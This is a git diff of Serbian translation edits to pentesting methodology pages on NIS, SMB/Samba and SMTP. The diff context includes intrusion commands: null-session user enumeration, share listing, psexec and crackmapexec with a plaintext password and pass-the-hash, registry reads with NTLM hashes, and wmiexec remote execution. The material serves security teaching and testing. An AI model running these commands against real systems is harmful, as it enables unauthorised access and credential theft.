- Izvršavanje proizvoljnih SHELL i PowerShell komandi na meti bez učitavanja fajlova
|
||||
- Učitavanje i preuzimanje fajlova sa/na metu čak i kada su prenosi fajlova onemogućeni na meti
|
||||
- Pokretanje SOCKS proxy-a sa klijenta koji usmerava mrežnu komunikaciju ka cilju putem RDP-a
|
||||
- Izvršavanje proizvoljnih SHELL i PowerShell komandi na cilju bez učitavanja fajlova
|
||||
- Učitavanje i preuzimanje fajlova sa/na cilj čak i kada su prenosi fajlova onemogućeni na cilju
|
||||
|
||||
## HackTricks automatske komande
|
||||
```
|
||||
|
@ -34,13 +34,13 @@ Pročitajte[ 2049 - Pentesting NFS service](nfs-service-pentesting.md) da biste
|
||||
|
||||
## NIS
|
||||
|
||||
Istraživanje **NIS** ranjivosti uključuje dvostepeni proces, počinjući identifikacijom usluge `ypbind`. Temelj ove eksploracije je otkrivanje **NIS imena domena**, bez kojeg je napredak zaustavljen.
|
||||
Istraživanje **NIS** ranjivosti uključuje dvostepeni proces, počinjući identifikacijom usluge `ypbind`. Temelj ove eksploracije je otkrivanje **NIS domena**, bez kojeg je napredak zaustavljen.
|
||||
|
||||
.png>)
|
||||
|
||||
Putovanje istraživanjem počinje instalacijom potrebnih paketa (`apt-get install nis`). Sledeći korak zahteva korišćenje `ypwhich` za potvrdu prisutnosti NIS servera pingovanjem sa imenom domena i IP adresom servera, osiguravajući da su ovi elementi anonimni radi bezbednosti.
|
||||
|
||||
Zadnji i ključni korak uključuje komandu `ypcat` za ekstrakciju osetljivih podataka, posebno enkriptovanih korisničkih lozinki. Ove heširane vrednosti, kada se razbiju koristeći alate poput **John the Ripper**, otkrivaju uvide u pristup sistemu i privilegije.
|
||||
Završni i ključni korak uključuje komandu `ypcat` za ekstrakciju osetljivih podataka, posebno enkriptovanih korisničkih lozinki. Ove heš vrednosti, kada se razbiju koristeći alate poput **John the Ripper**, otkrivaju uvide u pristup sistemu i privilegije.
|
||||
```bash
|
||||
# Install NIS tools
|
||||
apt-get install nis
|
||||
@ -68,7 +68,7 @@ Možete enumerisati korisnike na mašini. Da biste saznali kako, pročitajte [10
|
||||
|
||||
## Obilaženje filtriranog Portmapper porta
|
||||
|
||||
Kada sprovodite **nmap skeniranje** i otkrijete otvorene NFS portove sa filtriranim portom 111, direktna eksploatacija ovih portova nije moguća. Međutim, simulacijom portmapper servisa lokalno i kreiranjem tunela sa vaše mašine ka cilju, eksploatacija postaje moguća korišćenjem standardnih alata. Ova tehnika omogućava obilaženje filtriranog stanja porta 111, čime se omogućava pristup NFS servisima. Za detaljna uputstva o ovoj metodi, pogledajte članak dostupan na [ovom linku](https://medium.com/@sebnemK/how-to-bypass-filtered-portmapper-port-111-27cee52416bc).
|
||||
Kada sprovodite **nmap skeniranje** i otkrijete otvorene NFS portove sa filtriranim portom 111, direktna eksploatacija ovih portova nije moguća. Međutim, simulacijom portmapper servisa lokalno i kreiranjem tunela sa vaše mašine ka cilju, eksploatacija postaje moguća korišćenjem standardnih alata. Ova tehnika omogućava obilaženje filtriranog stanja porta 111, čime se omogućava pristup NFS servisima. Za detaljna uputstva o ovoj metodi, pogledajte članak dostupan na [ovoj vezi](https://medium.com/@sebnemK/how-to-bypass-filtered-portmapper-port-111-27cee52416bc).
|
||||
|
||||
## Shodan
|
||||
|
||||
|
@ -30,7 +30,7 @@ Pristup IPC$ deljenju može se dobiti putem anonimne null sesije, omogućavajuć
|
||||
- Detalja o matičnoj domeni
|
||||
- Kompilacije lokalnih korisnika i grupa
|
||||
- Informacija o dostupnim SMB deljenjima
|
||||
- Efektivnoj bezbednosnoj politici sistema
|
||||
- Efektivnih bezbednosnih politika sistema
|
||||
|
||||
Ova funkcionalnost je ključna za mrežne administratore i bezbednosne profesionalce da procene bezbednosni položaj SMB (Server Message Block) usluga na mreži. `enum4linux` pruža sveobuhvatan pregled SMB okruženja ciljnog sistema, što je od suštinskog značaja za identifikaciju potencijalnih ranjivosti i osiguranje da su SMB usluge pravilno zaštićene.
|
||||
```bash
|
||||
@ -143,7 +143,7 @@ Oneliner
|
||||
```bash
|
||||
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
|
||||
```
|
||||
### Metasploit - Enumerisanje lokalnih korisnika
|
||||
### Metasploit - Enumeracija lokalnih korisnika
|
||||
```bash
|
||||
use auxiliary/scanner/smb/smb_lookupsid
|
||||
set rhosts hostname.local
|
||||
@ -155,19 +155,19 @@ run
|
||||
pentesting-smb/rpcclient-enumeration.md
|
||||
{{#endref}}
|
||||
|
||||
### GUI connection from linux
|
||||
### GUI konekcija sa linux-a
|
||||
|
||||
#### In the terminal:
|
||||
#### U terminalu:
|
||||
|
||||
`xdg-open smb://cascade.htb/`
|
||||
|
||||
#### In file browser window (nautilus, thunar, etc)
|
||||
#### U prozoru za pretraživač datoteka (nautilus, thunar, itd)
|
||||
|
||||
`smb://friendzone.htb/general/`
|
||||
|
||||
## Shared Folders Enumeration
|
||||
## Enumeracija deljenih foldera
|
||||
|
||||
### List shared folders
|
||||
### Lista deljenih foldera
|
||||
|
||||
Uvek se preporučuje da proverite da li možete pristupiti bilo čemu, ako nemate kredencijale pokušajte koristiti **null** **kredencijale/gost korisnik**.
|
||||
```bash
|
||||
@ -197,7 +197,7 @@ smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-t
|
||||
```
|
||||
### **Ručno enumerisanje Windows deljenja i povezivanje na njih**
|
||||
|
||||
Može biti moguće da ste ograničeni u prikazivanju bilo kakvih deljenja host mašine i kada pokušate da ih navedete, čini se kao da ne postoje deljenja na koja se možete povezati. Stoga bi moglo biti korisno pokušati ručno povezivanje na deljenje. Da biste ručno enumerisali deljenja, možda biste želeli da tražite odgovore poput NT_STATUS_ACCESS_DENIED i NT_STATUS_BAD_NETWORK_NAME, kada koristite važeću sesiju (npr. null sesija ili važeće akreditive). Ovi odgovori mogu ukazivati na to da li deljenje postoji i nemate pristup njemu ili deljenje uopšte ne postoji.
|
||||
Može biti moguće da ste ograničeni u prikazivanju bilo kakvih deljenja host mašine i kada pokušate da ih navedete, čini se da ne postoje deljenja na koja možete da se povežete. Stoga bi moglo biti korisno pokušati ručno povezivanje na deljenje. Da biste ručno enumerisali deljenja, možda biste želeli da tražite odgovore poput NT_STATUS_ACCESS_DENIED i NT_STATUS_BAD_NETWORK_NAME, kada koristite važeću sesiju (npr. null sesija ili važeće akreditive). Ovi odgovori mogu ukazivati na to da li deljenje postoji i nemate pristup njemu ili deljenje uopšte ne postoji.
|
||||
|
||||
Uobičajena imena deljenja za Windows ciljeve su
|
||||
|
||||
@ -265,7 +265,7 @@ fsmgmt.msc
|
||||
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
|
||||
compmgmt.msc
|
||||
```
|
||||
explorer.exe (grafički), unesite `\\<ip>\` da biste videli dostupne ne-skrivene deljene foldere.
|
||||
explorer.exe (grafički), unesite `\\<ip>\` da biste videli dostupne ne skrivene deljene foldere.
|
||||
|
||||
### Montirajte deljeni folder
|
||||
```bash
|
||||
@ -289,7 +289,7 @@ smbclient //<IP>/<share>
|
||||
> mget *
|
||||
#Download everything to current directory
|
||||
```
|
||||
Komande:
|
||||
Commands:
|
||||
|
||||
- mask: specificira masku koja se koristi za filtriranje datoteka unutar direktorijuma (npr. "" za sve datoteke)
|
||||
- recurse: uključuje rekurziju (podrazumevano: isključeno)
|
||||
@ -310,15 +310,15 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data
|
||||
```bash
|
||||
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
|
||||
```
|
||||
Posebno zanimljivi su fajlovi nazvani **`Registry.xml`** jer **mogu sadržati lozinke** za korisnike podešene sa **autologon** putem Grupske politike. Takođe, **`web.config`** fajlovi sadrže akreditive.
|
||||
Posebno zanimljivi su fajlovi nazvani **`Registry.xml`** jer **mogu sadržati lozinke** za korisnike podešene sa **autologon** putem Grupske Politike. Takođe, **`web.config`** fajlovi sadrže akreditive.
|
||||
|
||||
> [!NOTE]
|
||||
> **SYSVOL share** je **čitljiv** za sve autentifikovane korisnike u domenu. Tamo možete **pronaći** mnoge različite batch, VBScript i PowerShell **skripte**.\
|
||||
> Trebalo bi da **proverite** **skripte** unutar njega jer biste mogli **pronaći** osetljive informacije kao što su **lozinke**.
|
||||
|
||||
## Čitanje registra
|
||||
## Čitanje Registra
|
||||
|
||||
Možda ćete moći da **pročitate registar** koristeći neke otkrivene akreditive. Impacket **`reg.py`** vam omogućava da probate:
|
||||
Možda ćete moći da **pročitate registry** koristeći neke otkrivene akreditive. Impacket **`reg.py`** vam omogućava da probate:
|
||||
```bash
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
|
||||
@ -329,17 +329,17 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87
|
||||
**Podrazumevana konfiguracija** **Samba** servera se obično nalazi u `/etc/samba/smb.conf` i može imati neke **opasne konfiguracije**:
|
||||
|
||||
| **Podešavanje** | **Opis** |
|
||||
| -------------------------- | ------------------------------------------------------------------ |
|
||||
| `browseable = yes` | Da li dozvoliti listanje dostupnih deljenja u trenutnom deljenju? |
|
||||
| `read only = no` | Da li zabraniti kreiranje i modifikaciju fajlova? |
|
||||
| `writable = yes` | Da li dozvoliti korisnicima da kreiraju i modifikuju fajlove? |
|
||||
| `guest ok = yes` | Da li dozvoliti povezivanje na servis bez korišćenja lozinke? |
|
||||
| -------------------------- | ------------------------------------------------------------------- |
|
||||
| `browseable = yes` | Da li dozvoliti listanje dostupnih deljenja u trenutnom deljenju? |
|
||||
| `read only = no` | Da li zabraniti kreiranje i modifikaciju fajlova? |
|
||||
| `writable = yes` | Da li dozvoliti korisnicima da kreiraju i modifikuju fajlove? |
|
||||
| `guest ok = yes` | Da li dozvoliti povezivanje na servis bez korišćenja lozinke? |
|
||||
| `enable privileges = yes` | Da li poštovati privilegije dodeljene specifičnom SID-u? |
|
||||
| `create mask = 0777` | Koje dozvole moraju biti dodeljene novokreiranim fajlovima? |
|
||||
| `directory mask = 0777` | Koje dozvole moraju biti dodeljene novokreiranim direktorijumima? |
|
||||
| `logon script = script.sh`| Koji skript treba da se izvrši prilikom prijavljivanja korisnika? |
|
||||
| `magic script = script.sh`| Koji skript treba da se izvrši kada se skript zatvori? |
|
||||
| `magic output = script.out`| Gde treba da se sačuva izlaz magičnog skripta? |
|
||||
| `create mask = 0777` | Koje dozvole moraju biti dodeljene novokreiranim fajlovima? |
|
||||
| `directory mask = 0777` | Koje dozvole moraju biti dodeljene novokreiranim direktorijumima? |
|
||||
| `logon script = script.sh` | Koji skript treba da se izvrši prilikom prijavljivanja korisnika? |
|
||||
| `magic script = script.sh` | Koji skript treba da se izvrši kada se skript zatvori? |
|
||||
| `magic output = script.out`| Gde treba da se sačuva izlaz magičnog skripta? |
|
||||
|
||||
Komanda `smbstatus` daje informacije o **serveru** i o **tome ko je povezan**.
|
||||
|
||||
@ -378,7 +378,7 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
|
||||
```
|
||||
### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md)
|
||||
|
||||
Obe opcije će **napraviti novu uslugu** (koristeći _\pipe\svcctl_ putem SMB) na žrtvinom računaru i koristiti je da **izvrši nešto** (**psexec** će **otpremiti** izvršni fajl na ADMIN$ share, a **smbexec** će se povezati na **cmd.exe/powershell.exe** i staviti u argumente payload --**tehnika bez fajlova-**-).\
|
||||
Obe opcije će **napraviti novu uslugu** (koristeći _\pipe\svcctl_ putem SMB) na žrtvenoj mašini i koristiti je da **izvrši nešto** (**psexec** će **otpremiti** izvršni fajl na ADMIN$ share, a **smbexec** će se povezati na **cmd.exe/powershell.exe** i staviti u argumente payload --**tehnika bez fajlova-**-).\
|
||||
**Više informacija** o [**psexec** ](../windows-hardening/ntlm/psexec-and-winexec.md) i [**smbexec**](../windows-hardening/ntlm/smbexec.md).\
|
||||
U **kali** se nalazi na /usr/share/doc/python3-impacket/examples/
|
||||
```bash
|
||||
@ -392,7 +392,7 @@ Koristeći **parameter** `-k` možete se autentifikovati protiv **kerberos** ume
|
||||
|
||||
### [wmiexec](../windows-hardening/ntlm/wmiexec.md)/dcomexec
|
||||
|
||||
Tajno izvršite komandnu ljusku bez dodirivanja diska ili pokretanja nove usluge koristeći DCOM preko **porta 135.**\
|
||||
Tajno izvršite komandnu liniju bez dodirivanja diska ili pokretanja nove usluge koristeći DCOM preko **porta 135.**\
|
||||
U **kali** se nalazi na /usr/share/doc/python3-impacket/examples/
|
||||
```bash
|
||||
#If no password is provided, it will be prompted
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## **Port 139**
|
||||
|
||||
_**Network Basic Input Output System**_\*\* (NetBIOS)\*\* je softverski protokol dizajniran da omogući aplikacijama, računarima i radnim stanicama unutar lokalne mreže (LAN) da komuniciraju sa mrežnim hardverom i **olakšaju prenos podataka preko mreže**. Identifikacija i lokacija softverskih aplikacija koje rade na NetBIOS mreži postiže se kroz njihove NetBIOS nazive, koji mogu imati do 16 karaktera i često se razlikuju od imena računara. NetBIOS sesija između dve aplikacije se pokreće kada jedna aplikacija (koja deluje kao klijent) izda komandu da "pozove" drugu aplikaciju (koja deluje kao server) koristeći **TCP Port 139**.
|
||||
_**Network Basic Input Output System**_\*\* (NetBIOS)\*\* je softverski protokol dizajniran da omogući aplikacijama, računarima i radnim stanicama unutar lokalne mreže (LAN) da komuniciraju sa mrežnim hardverom i **olakšaju prenos podataka preko mreže**. Identifikacija i lokacija softverskih aplikacija koje rade na NetBIOS mreži postiže se kroz njihove NetBIOS nazive, koji mogu imati do 16 karaktera i često se razlikuju od imena računara. NetBIOS sesija između dve aplikacije se inicira kada jedna aplikacija (koja deluje kao klijent) izda komandu da "pozove" drugu aplikaciju (koja deluje kao server) koristeći **TCP Port 139**.
|
||||
```
|
||||
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
||||
```
|
||||
@ -20,7 +20,7 @@ Na primer, u kontekstu Windows-a, ističe se da SMB može raditi direktno preko
|
||||
|
||||
Protokol **Server Message Block (SMB)**, koji funkcioniše u **klijent-server** modelu, dizajniran je za regulisanje **pristupa datotekama**, direktorijumima i drugim mrežnim resursima poput štampača i rutera. Primarno se koristi unutar serije operativnih sistema **Windows**, SMB obezbeđuje unazadnu kompatibilnost, omogućavajući uređajima sa novijim verzijama Microsoftovog operativnog sistema da besprekorno komuniciraju sa onima koji koriste starije verzije. Pored toga, projekat **Samba** nudi rešenje slobodnog softvera, omogućavajući implementaciju SMB-a na **Linux** i Unix sistemima, čime se olakšava međusobna komunikacija putem SMB-a.
|
||||
|
||||
Deljenja, koja predstavljaju **arbitrarne delove lokalnog fajl sistema**, mogu biti obezbeđena od strane SMB servera, čineći hijerarhiju vidljivom klijentu delimično **nezavisnom** od stvarne strukture servera. **Liste kontrole pristupa (ACLs)**, koje definišu **prava pristupa**, omogućavaju **fino podešavanje** korisničkih dozvola, uključujući atribute kao što su **`execute`**, **`read`** i **`full access`**. Ove dozvole mogu biti dodeljene pojedinačnim korisnicima ili grupama, na osnovu deljenja, i razlikuju se od lokalnih dozvola postavljenih na serveru.
|
||||
Deljenja, koja predstavljaju **arbitrarne delove lokalnog fajl sistema**, mogu biti obezbeđena od strane SMB servera, čineći hijerarhiju vidljivom klijentu delimično **nezavisnom** od stvarne strukture servera. **Access Control Lists (ACLs)**, koje definišu **prava pristupa**, omogućavaju **fino podešavanje** korisničkih dozvola, uključujući atribute kao što su **`execute`**, **`read`** i **`full access`**. Ove dozvole mogu biti dodeljene pojedinačnim korisnicima ili grupama, na osnovu deljenja, i razlikuju se od lokalnih dozvola postavljenih na serveru.
|
||||
|
||||
### IPC$ Share
|
||||
|
||||
@ -30,9 +30,9 @@ Pristup IPC$ deljenju može se dobiti putem anonimne null sesije, omogućavajuć
|
||||
- Detalja o matičnoj domeni
|
||||
- Kompilacije lokalnih korisnika i grupa
|
||||
- Informacija o dostupnim SMB deljenjima
|
||||
- Efektivnih bezbednosnih politika sistema
|
||||
- Efektivnu sigurnosnu politiku sistema
|
||||
|
||||
Ova funkcionalnost je ključna za mrežne administratore i bezbednosne profesionalce da procene bezbednosni položaj SMB (Server Message Block) usluga na mreži. `enum4linux` pruža sveobuhvatan pregled SMB okruženja ciljanog sistema, što je od suštinskog značaja za identifikaciju potencijalnih ranjivosti i osiguranje da su SMB usluge pravilno zaštićene.
|
||||
Ova funkcionalnost je ključna za mrežne administratore i stručnjake za bezbednost da procene bezbednosni položaj SMB (Server Message Block) usluga na mreži. `enum4linux` pruža sveobuhvatan pregled SMB okruženja ciljnog sistema, što je od suštinskog značaja za identifikaciju potencijalnih ranjivosti i osiguranje da su SMB usluge pravilno zaštićene.
|
||||
```bash
|
||||
enum4linux -a target_ip
|
||||
```
|
||||
@ -52,12 +52,12 @@ Ako ne znate šta je NTLM ili želite da saznate kako funkcioniše i kako ga zlo
|
||||
```bash
|
||||
nbtscan -r 192.168.0.1/24
|
||||
```
|
||||
### SMB server version
|
||||
### SMB сервер верзија
|
||||
|
||||
Da biste tražili moguće eksploite za SMB verziju, važno je znati koja verzija se koristi. Ako ova informacija ne pojavljuje u drugim korišćenim alatima, možete:
|
||||
Да бисте пронашли могуће експлоите за SMB верзију, важно је знати која верзија се користи. Ако ове информације не појављују у другим коришћеним алатима, можете:
|
||||
|
||||
- Koristiti **MSF** pomoćni modul \_**auxiliary/scanner/smb/smb_version**
|
||||
- Ili ovaj skript:
|
||||
- Користити **MSF** помоћни модул \_**auxiliary/scanner/smb/smb_version**
|
||||
- Или овај скрипт:
|
||||
```bash
|
||||
#!/bin/sh
|
||||
#Author: rewardone
|
||||
@ -83,8 +83,8 @@ searchsploit microsoft smb
|
||||
|
||||
| **Korisničko ime** | **Uobičajene lozinke** |
|
||||
| -------------------- | ----------------------------------------- |
|
||||
| _(prazno)_ | _(prazno)_ |
|
||||
| gost | _(prazno)_ |
|
||||
| _(prazno)_ | _(prazno)_ |
|
||||
| gost | _(prazno)_ |
|
||||
| Administrator, admin | _(prazno)_, lozinka, administrator, admin |
|
||||
| arcserve | arcserve, backup |
|
||||
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
|
||||
@ -119,7 +119,7 @@ rpcclient -U "username%passwd" <IP> #With creds
|
||||
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
|
||||
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
|
||||
```
|
||||
### Enumerate Users, Groups & Logged On Users
|
||||
### Enumeracija korisnika, grupa i prijavljenih korisnika
|
||||
|
||||
Ove informacije bi već trebale biti prikupljene iz enum4linux i enum4linux-ng
|
||||
```bash
|
||||
@ -155,21 +155,21 @@ run
|
||||
rpcclient-enumeration.md
|
||||
{{#endref}}
|
||||
|
||||
### GUI connection from linux
|
||||
### GUI konekcija sa linux-a
|
||||
|
||||
#### In the terminal:
|
||||
#### U terminalu:
|
||||
|
||||
`xdg-open smb://cascade.htb/`
|
||||
|
||||
#### In file browser window (nautilus, thunar, etc)
|
||||
#### U prozoru za pretraživač datoteka (nautilus, thunar, itd)
|
||||
|
||||
`smb://friendzone.htb/general/`
|
||||
|
||||
## Shared Folders Enumeration
|
||||
## Enumeracija deljenih foldera
|
||||
|
||||
### List shared folders
|
||||
### Lista deljenih foldera
|
||||
|
||||
Uvek se preporučuje da proverite da li možete pristupiti bilo čemu, ako nemate akreditive pokušajte koristiti **null** **akreditive/gost korisnik**.
|
||||
Uvek se preporučuje da proverite da li možete pristupiti bilo čemu, ako nemate kredencijale pokušajte koristiti **null** **kredencijale/gost korisnik**.
|
||||
```bash
|
||||
smbclient --no-pass -L //<IP> # Null user
|
||||
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
|
||||
@ -197,7 +197,7 @@ smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-t
|
||||
```
|
||||
### **Ručno enumerisanje Windows deljenja i povezivanje na njih**
|
||||
|
||||
Može biti moguće da ste ograničeni u prikazivanju bilo kakvih deljenja host mašine i kada pokušate da ih navedete, čini se da ne postoje deljenja na koja možete da se povežete. Stoga bi moglo biti korisno pokušati ručno povezivanje na deljenje. Da biste ručno enumerisali deljenja, možda biste želeli da tražite odgovore poput NT_STATUS_ACCESS_DENIED i NT_STATUS_BAD_NETWORK_NAME, kada koristite važeću sesiju (npr. null sesija ili važeće akreditive). Ovi odgovori mogu ukazivati na to da li deljenje postoji i nemate pristup njemu ili deljenje uopšte ne postoji.
|
||||
Može biti moguće da ste ograničeni u prikazivanju bilo kakvih deljenja host mašine i kada pokušate da ih navedete, čini se kao da ne postoje deljenja na koja možete da se povežete. Stoga bi moglo biti korisno pokušati ručno povezivanje na deljenje. Da biste ručno enumerisali deljenja, možda biste želeli da tražite odgovore poput NT_STATUS_ACCESS_DENIED i NT_STATUS_BAD_NETWORK_NAME, kada koristite važeću sesiju (npr. null sesija ili važeće akreditive). Ovi odgovori mogu ukazivati na to da li deljenje postoji i nemate pristup ili deljenje uopšte ne postoji.
|
||||
|
||||
Uobičajena imena deljenja za Windows ciljeve su
|
||||
|
||||
@ -265,7 +265,7 @@ fsmgmt.msc
|
||||
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
|
||||
compmgmt.msc
|
||||
```
|
||||
explorer.exe (grafički), unesite `\\<ip>\` da biste videli dostupne ne skrivene deljene foldere.
|
||||
explorer.exe (grafički), unesite `\\<ip>\` da biste videli dostupne ne-skrivene deljene foldere.
|
||||
|
||||
### Montirajte deljeni folder
|
||||
```bash
|
||||
@ -296,7 +296,7 @@ Commands:
|
||||
- prompt: isključuje traženje imena datoteka (podrazumevano: uključeno)
|
||||
- mget: kopira sve datoteke koje odgovaraju maski sa hosta na klijentsku mašinu
|
||||
|
||||
(_Informacije iz man stranice smbclient_)
|
||||
(_Informacije iz man stranice smbclient-a_)
|
||||
|
||||
### Pretraga deljenih foldera domena
|
||||
|
||||
@ -310,11 +310,11 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data
|
||||
```bash
|
||||
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
|
||||
```
|
||||
Posebno zanimljivi su fajlovi nazvani **`Registry.xml`** jer **mogu sadržati lozinke** za korisnike podešene sa **autologon** putem Grupske politike. Takođe, **`web.config`** fajlovi sadrže akreditive.
|
||||
Posebno zanimljivi su fajlovi nazvani **`Registry.xml`** jer **mogu sadržati lozinke** za korisnike podešene sa **autologon** putem Grupske Politike. Takođe, **`web.config`** fajlovi sadrže akreditive.
|
||||
|
||||
> [!NOTE]
|
||||
> **SYSVOL share** je **čitljiv** za sve autentifikovane korisnike u domenu. Tamo možete **pronaći** mnoge različite batch, VBScript i PowerShell **skripte**.\
|
||||
> Trebalo bi da **proverite** **skripte** unutar njega jer možete **pronaći** osetljive informacije kao što su **lozinke**.
|
||||
> Trebalo bi da **proverite** **skripte** unutar njega jer biste mogli **pronaći** osetljive informacije kao što su **lozinke**.
|
||||
|
||||
## Čitanje registra
|
||||
|
||||
@ -329,17 +329,17 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87
|
||||
**Podrazumevana konfiguracija** **Samba** servera se obično nalazi u `/etc/samba/smb.conf` i može imati neke **opasne konfiguracije**:
|
||||
|
||||
| **Podešavanje** | **Opis** |
|
||||
| --------------------------- | ------------------------------------------------------------------- |
|
||||
| `browseable = yes` | Da li dozvoliti listanje dostupnih deljenja u trenutnom deljenju? |
|
||||
| `read only = no` | Da li zabraniti kreiranje i modifikaciju fajlova? |
|
||||
| `writable = yes` | Da li dozvoliti korisnicima da kreiraju i modifikuju fajlove? |
|
||||
| `guest ok = yes` | Da li dozvoliti povezivanje na servis bez korišćenja lozinke? |
|
||||
| `enable privileges = yes` | Da li poštovati privilegije dodeljene specifičnom SID-u? |
|
||||
| `create mask = 0777` | Koje dozvole moraju biti dodeljene novokreiranim fajlovima? |
|
||||
| `directory mask = 0777` | Koje dozvole moraju biti dodeljene novokreiranim direktorijumima? |
|
||||
| `logon script = script.sh` | Koji skript treba da se izvrši prilikom prijavljivanja korisnika? |
|
||||
| `magic script = script.sh` | Koji skript treba da se izvrši kada se skript zatvori? |
|
||||
| `magic output = script.out` | Gde treba da se sačuva izlaz magičnog skripta? |
|
||||
| -------------------------- | ------------------------------------------------------------------- |
|
||||
| `browseable = yes` | Dozvoliti listanje dostupnih deljenja u trenutnom deljenju? |
|
||||
| `read only = no` | Zabraniti kreiranje i modifikaciju fajlova? |
|
||||
| `writable = yes` | Dozvoliti korisnicima da kreiraju i modifikuju fajlove? |
|
||||
| `guest ok = yes` | Dozvoliti povezivanje na servis bez korišćenja lozinke? |
|
||||
| `enable privileges = yes` | Poštovati privilegije dodeljene specifičnom SID-u? |
|
||||
| `create mask = 0777` | Koje dozvole moraju biti dodeljene novokreiranim fajlovima? |
|
||||
| `directory mask = 0777` | Koje dozvole moraju biti dodeljene novokreiranim direktorijumima? |
|
||||
| `logon script = script.sh` | Koji skript treba da se izvrši prilikom prijavljivanja korisnika? |
|
||||
| `magic script = script.sh` | Koji skript treba da se izvrši kada se skript zatvori? |
|
||||
| `magic output = script.out`| Gde treba da se sačuva izlaz magičnog skripta? |
|
||||
|
||||
Komanda `smbstatus` daje informacije o **serveru** i o **tome ko je povezan**.
|
||||
|
||||
@ -350,7 +350,7 @@ Možete **autentifikovati** se na **kerberos** koristeći alate **smbclient** i
|
||||
smbclient --kerberos //ws01win10.domain.com/C$
|
||||
rpcclient -k ws01win10.domain.com
|
||||
```
|
||||
## **Izvršavanje Komandi**
|
||||
## **Izvršavanje komandi**
|
||||
|
||||
### **crackmapexec**
|
||||
|
||||
@ -388,11 +388,11 @@ U **kali** se nalazi na /usr/share/doc/python3-impacket/examples/
|
||||
psexec \\192.168.122.66 -u Administrator -p 123456Ww
|
||||
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
|
||||
```
|
||||
Korišćenjem **parametra** `-k` možete se autentifikovati protiv **kerberos** umesto **NTLM**
|
||||
Koristeći **parameter**`-k` možete se autentifikovati protiv **kerberos** umesto **NTLM**
|
||||
|
||||
### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec
|
||||
|
||||
Diskretno izvršite komandnu ljusku bez dodirivanja diska ili pokretanja nove usluge koristeći DCOM preko **porta 135.**\
|
||||
Tajno izvršite komandnu liniju bez dodirivanja diska ili pokretanja nove usluge koristeći DCOM preko **port 135.**\
|
||||
U **kali** se nalazi na /usr/share/doc/python3-impacket/examples/
|
||||
```bash
|
||||
#If no password is provided, it will be prompted
|
||||
@ -400,7 +400,7 @@ U **kali** se nalazi na /usr/share/doc/python3-impacket/examples/
|
||||
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
|
||||
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
|
||||
```
|
||||
Koristeći **parameter** `-k` možete se autentifikovati protiv **kerberos** umesto **NTLM**
|
||||
Koristeći **parameter** `-k`, možete se autentifikovati protiv **kerberos** umesto **NTLM**.
|
||||
```bash
|
||||
#If no password is provided, it will be prompted
|
||||
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
|
||||
@ -428,7 +428,7 @@ ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rid
|
||||
```
|
||||
## SMB relay attack
|
||||
|
||||
Ovaj napad koristi Responder alat za **hvatanje SMB autentifikacionih sesija** na unutrašnjoj mreži i **preusmerava** ih na **ciljnu mašinu**. Ako je autentifikacija **sesija uspešna**, automatski ćete biti prebačeni u **sistem** **shell**.\
|
||||
Ovaj napad koristi Responder alat za **hvatanje SMB autentifikacionih sesija** na internom mreži, i **preusmerava** ih na **ciljnu mašinu**. Ako je autentifikacija **sesija uspešna**, automatski ćete biti prebačeni u **sistem** **shell**.\
|
||||
[**Više informacija o ovom napadu ovde.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
|
||||
## SMB-Trap
|
||||
|
@ -142,7 +142,7 @@ EXPN root
|
||||
EXPN sshd
|
||||
250 2.1.5 sshd privsep sshd@myhost
|
||||
```
|
||||
### Automatski alati
|
||||
### Аутоматски алати
|
||||
```
|
||||
Metasploit: auxiliary/scanner/smtp/smtp_enum
|
||||
smtp-user-enum: smtp-user-enum -M <MODE> -u <USER> -t <IP>
|
||||
@ -225,19 +225,19 @@ SMTP Smuggling ranjivost je omogućila zaobilaženje svih SMTP zaštita (pogleda
|
||||
smtp-smuggling.md
|
||||
{{#endref}}
|
||||
|
||||
## Protivmere za lažno predstavljanje e-pošte
|
||||
## Mail Spoofing Countermeasures
|
||||
|
||||
Organizacije su sprečene da imaju neovlašćene e-poruke poslate u njihovo ime korišćenjem **SPF**, **DKIM** i **DMARC** zbog lakoće lažnog predstavljanje SMTP poruka.
